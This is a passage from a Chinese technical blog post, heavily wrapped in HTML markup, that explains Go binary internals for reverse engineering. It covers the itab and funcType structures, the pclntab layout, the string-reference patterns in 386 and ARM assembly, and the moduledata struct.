style="color: rgb(209, 154, 102);">1</span>]<span style="color: rgb(209, 154, 102);">uintptr</span> <span style="color: rgb(92, 99, 112);font-style: italic;">// variable sized. fun[0]==0 means _type does not implement inter.</span><br/>}<br/><span style="color: rgb(198, 120, 221);">type</span> interfacetype <span style="color: rgb(198, 120, 221);">struct</span> {<br/>         typ     _type<br/>         pkgpath name<br/>         mhdr    []imethod<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">上面就是go源码内部的相关数据结构，其中_type其实就是上述的rtype，所以其实对于iface的结构来说就很清晰了，在itab中，fun是一个对象的virtual dispatch table用来索引一些函数。</p><figure style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.16152450090744103" data-s="300,640" style="" data-type="gif" data-w="551" src="https://wechat2rss.xlab.app/img-proxy/?k=59c4dfe3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNouEp53lddaPfrlZaBhOVFVAlf82BLJcw6ic6ABdpKoSymYNTkb52vicVw%2F640%3Fwx_fmt%3Dgif"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  无论是interface还是struct其实在逆向中都更关心它们包含的一些函数，在go的类型系统中还存在funcType：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">type</span> funcType <span style="color: rgb(198, 120, 221);">struct</span> {<br/>        rtype<br/>        inCount  <span style="color: rgb(209, 154, 102);">uint16</span><br/>        outCount <span style="color: rgb(209, 154, 102);">uint16</span> <span style="color: rgb(92, 99, 112);font-style: italic;">// top bit is set if last input parameter is ...</span><br/>}</code></pre><figure style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.26998841251448435" data-s="300,640" style="" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=36d21760&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNoy4rR1ysHicch5icBHHc5dEKgraicl99MMaAZeg8Ijq59JY6T9YChUM13Q%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">inCount和outCount代表参数和返回值。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">pclntab</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">pclntab</code><span style="font-style: italic;">全名是</span><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Program Counter Line Table</code><span style="font-style: italic;">。</span>2013年由<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Russ Cox</code>(Go 语言创始团队成员，核心开发者)从Plan9移植到 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Go 1.2</code>上，至今没有太大变化。引入<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">*pcnlntab*</code>这个结构的最初动机，是为 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">*Stack Trace*</code> 服务的。当程序运行出错要 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">*panic*</code> 的时候，runtime 需要知道当前的位置，层级关系如 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">*pkg*-&gt;*src file*-&gt;*function or method*-&gt;*line number*</code>，每一层的信息 runtime 都要知道。<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Go 就把这些信息结构化地打包到了编译出的二进制文件中</code>。除此之外，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">pcnlntab</code> 中还包含了栈的动态管理用到的栈帧信息、垃圾回收用到的栈变量的生命周期信息以及二进制文件涉及的所有源码文件路径信息。这个结构体反过来就是我们逆向的重要参考。定义如下(go 1.16版本之后在源码中才存在定义)：</p><figure style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8794901506373117" data-s="300,640" style="" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=57d5eeb6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNoWEHJmBu1NMxVj2M4EkrvGqIy4fuRlHbDrBHI7buU1FlFvXdtc3QxgQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">其中magic的值在Go 1.16之前是0xFFFFFFFB，Go 1.16到17是0xFFFFFFFA，Go 1.18是0xFFFFFFF0。具体的解析逻辑在源码中<span style="line-height: 1.75;color: rgb(87, 107, 149);">pclntab.go</span>。各字段含义如下：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 开头 4-Bytes 是 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">Magic Number</strong>： <strong style="line-height: 1.75;color: rgb(255, 118, 118);">0xFFFFFFFB</strong> ；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 第 5、6个字节为 0x00，暂无实际用途；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 第 7 个字节代表 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">instruction size quantum</strong>， <strong style="line-height: 1.75;color: rgb(255, 118, 118);">1</strong> 为 x86, 4 为 ARM；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 第 8 个字节为地址的大小，32bit 的为 4，64 bit 的为 8，至此的前 8 个字节可以看作是 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">pclntab</strong> 的 Header；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 第 9 个字节开始是 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">function table</strong> 的起始位置；</p></li><ul style="line-height: 1.75;padding-left: 1em;list-style-position: initial;list-style-image: initial;" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 第一个 uintptr 元素为函数(pc, Program Counter) 的个数；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 第 2 个 uintptr 元素为第 1 个函数(pc0) 的地址，第 3 个 uintptr 元素为第 1 个函数结构定义相对于 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">pclntab</strong> 的偏移，后面的函数信息就以此类推；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 直到 function table 结束，下面就是 Source file table的信息。pcN后面的int32表示Source file table的偏移。</p></li></ul><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• Source file table 以 4 字节(<strong style="line-height: 1.75;color: rgb(255, 118, 118);">int32</strong>)为单位，前 4 个字节代表 Source File 的数量，后面每一个 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">int32</strong> 都代表一个 Source File Path String 相对于 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">pclntab</strong> 的偏移；</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  里面比较重要的信息有函数表和源码表。其中函数表(func table)的起始地址，为 (pclntab_addr + 8)，第一个元素( uintptr <strong style="line-height: 1.75;color: rgb(255, 118, 118);">N</strong>) 代表函数的个数。每两个 uintptr 元素为一组，即 (func_addr, func_struct_offset)，每组第一个元素为函数的地址，第二个元素为<strong style="line-height: 1.75;color: rgb(255, 118, 118);">函数结构体定义</strong>(Function Struct)相对于 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">pclntab</strong> 起始地址的偏移。Function Struct定义如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">struct</span> Func<br/>{<br/>    <span style="color: rgb(209, 154, 102);">uintptr</span>      entry;     <span style="color: rgb(92, 99, 112);font-style: italic;">// start pc</span><br/>    <span style="color: rgb(209, 154, 102);">int32</span>        name;      <span style="color: rgb(92, 99, 112);font-style: italic;">// name (offset to C string)</span><br/>    <span style="color: rgb(209, 154, 102);">int32</span>        args;      <span style="color: rgb(92, 99, 112);font-style: italic;">// size of arguments passed to function</span><br/>    <span style="color: rgb(209, 154, 102);">int32</span>        frame;     <span style="color: rgb(92, 99, 112);font-style: italic;">// size of function frame, including saved caller PC</span><br/>    <span style="color: rgb(209, 154, 102);">int32</span>        pcsp;      <span style="color: rgb(92, 99, 112);font-style: italic;">// pcsp table (offset to pcvalue table)</span><br/>    <span style="color: rgb(209, 154, 102);">int32</span>        pcfile;    <span style="color: rgb(92, 99, 112);font-style: italic;">// pcfile table (offset to pcvalue table)</span><br/>    <span style="color: rgb(209, 154, 102);">int32</span>        pcln;      <span style="color: rgb(92, 99, 112);font-style: italic;">// pcln table (offset to pcvalue table)</span><br/>    <span style="color: rgb(209, 154, 102);">int32</span>        nfuncdata; <span style="color: rgb(92, 99, 112);font-style: italic;">// number of entries in funcdata list</span><br/>    <span style="color: rgb(209, 154, 102);">int32</span>        npcdata;   <span style="color: rgb(92, 99, 112);font-style: italic;">// number of entries in pcdata list</span><br/>};</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对于逆向分析来说，这里最有用的信息，就是<strong style="line-height: 1.75;color: rgb(255, 118, 118);">函数名</strong>了。如上图所示，函数名是一个以 0x00 结尾的 C-String。在 Function Struct 中，第二个元素只是 int32 类型的偏移值(仍然相对于pclntab地址)。而Function Struct 中第 3 个元素 <strong style="line-height: 1.75;color: rgb(255, 118, 118);">args</strong> 在 Go 标准库源码 <strong style="line-height: 1.75;color: rgb(255, 118, 118);"><span style="line-height: 1.75;color: rgb(87, 107, 149);">src/debug/gosym/symtab.go</span></strong> 中</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">解析这个Function Struct的一个类型定义中，有两条注释，说Go 1.3之后就没这种信息了：</p><figure style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.49942062572421786" data-s="300,640" style="" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=e45439c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNoLHYcp6RviaalBtpm2ID5gCkicC3PzXz185q3dibbJfMvILfYPiboxaU2Tw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  另外，还有一些函数用上面的方式无法解析，是编译器做<strong style="line-height: 1.75;color: rgb(255, 118, 118);">循环展开</strong>时自动生成的匿名函数，也叫 <span style="line-height: 1.75;color: rgb(87, 107, 149);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">Duff’s Device</strong></span>。这样的函数知道它是用来连续操作内存(拷贝、清零等等)的就可以。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">字符串引用</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对于字符串引用问题解决方法很粗暴沿用了<span style="line-height: 1.75;color: rgb(87, 107, 149);">golang_loader_assist.py</span>。核心就是观察汇编中字符串引用格式，golang中<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">const char *</code>字符串几乎是堆在一起的，然后以<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">str_addr + str_len</code>的方式引用。</p><figure style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5249130938586327" data-s="300,640" style="" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=118867db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNo8vdSprYLPXPm02e9ONuKXAIokLBz5ZJkTUicyFSczIib9kpOrGwqt8GQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">以386架构来说，观察其字符串引用汇编如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">mov     rcx, cs:qword_BC2908 ; str len<br/>mov     rdx, cs:off_BC2900 ; str pointer<br/>mov     [rsp+0A8h+var_90], rdx<br/>mov     [rsp+0A8h+var_88], rcx<br/>call    github_com_rs_zerolog_internal_json_Encoder_AppendKey</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">然后通过指针和长度来识别某一个字符串，而不是所有字符串。对于arm架构有如下两种方式引用：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">pattern0:   properly for local string variable invoking<br/>LDR             R0, =aGodebugUnknown;   strptr<br/>STR             R0, [SP,#0x50+var_4C]   <br/>MOV             R1, #0x1E           ;   len<br/>STR             R1, [SP,#0x50+var_48]<br/>BL              runtime_printstring<br/>pattern1:   properly for global string variable <br/>LDR             R3, =off_888AE8 ; &#34;.SH NAME/dev/mem/dev/mtd/gid_map/static&#34; strptr-len_ptr<br/>...<br/>...<br/>BL              fmt_Fprintln<br/>.data:0014C3F8 off_14C3F8      DCD aGlobalHelloMbA     ; DATA XREF: main_main+2C↑o<br/>.data:0014C3F8                                         ; main_main+30↑r ...<br/>.data:0014C3F8                                         ; &#34;Global Hello !MB; allocated Other_ID_St&#34;...<br/>.data:0014C3FC dword_14C3FC    DCD 0xE</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">第一种：LDR，STR，MOV，STR获取字符串地址和长度并压栈。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">第二种：获得一个指针该指针指向一个结构体包含字符串地址和长度。上面不管是386架构还是arm的两种情况在引用字符串时，字符串地址和长度都是地址相邻的(这个可能对后续详细识别引用有一定帮助)。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">moduledata</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在Go语言的体系中，Module是比Package更高层次的概念，具体表现在一个Module中可以包含多个不同的Package，而每个Package中可以包含多个目录和很多的源码文件。相应地，Moduledata在Go二进制文件中也是一个更高层次的数据结构，它包含很多其他结构的索引信息，可以看作是Go二进制文件中 RTSI(Runtime Symbol Information) 和 RTTI(Runtime Type Information) 的地图：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(92, 99, 112);font-style: italic;">// moduledata records information about the layout of the executable</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">// image. It is written by the linker. Any changes here must be</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">// matched changes to the code in cmd/internal/ld/symtab.go:symtab.</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">// moduledata is stored in statically allocated non-pointer memory;</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">// none of the pointers here are visible to the garbage collector.</span><br/>type moduledata <span style="color: rgb(198, 120, 221);">struct</span> {<br/>    pclntable    []byte<br/>    ftab         []functab<br/>    filetab      []uint32<br/>    findfunctab  uintptr<br/>    minpc, maxpc uintptr<br/>    text, etext           uintptr<br/>    noptrdata, enoptrdata uintptr<br/>    data, edata           uintptr<br/>    bss, ebss             uintptr<br/>    noptrbss, enoptrbss   uintptr<br/>    end, gcdata, gcbss    uintptr<br/>    types, etypes         uintptr<br/>    textsectmap []textsect<br/>    typelinks   []int32 <span style="color: rgb(92, 99, 112);font-style: italic;">// offsets from types</span><br/>    itablinks   []*itab<br/>    ptab []ptabEntry<br/>    pluginpath <span style="color: rgb(230, 192, 123);">string</span><br/>    pkghashes  []modulehash<br/>    modulename   <span style="color: rgb(230, 192, 123);">string</span><br/>    modulehashes []modulehash<br/>    hasmain uint8 <span style="color: rgb(92, 99, 112);font-style: italic;">// 1 if module contains the main function, 0 otherwise</span><br/>    gcdatamask, gcbssmask bitvector<br/>    typemap <span style="color: rgb(230, 192, 123);">map</span>[typeOff]*_type <span style="color: rgb(92, 99, 112);font-style: italic;">// offset to *_rtype in previous module</span><br/>    bad <span style="color: rgb(209, 154, 102);">bool</span> <span style="color: rgb(92, 99, 112);font-style: italic;">// module failed to load and should be ignored</span><br/>    next *moduledata<br/>}<span style="color: rgb(92, 99, 112);font-style: italic;">//<a href="https://github.com/golang/go/blob/dev.boringcrypto.go1.13/src/runtime/symtab.go" target="_blank">https://github.com/golang/go/blob/dev.boringcrypto.go1.13/src/runtime/symtab.go</a></span></code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, 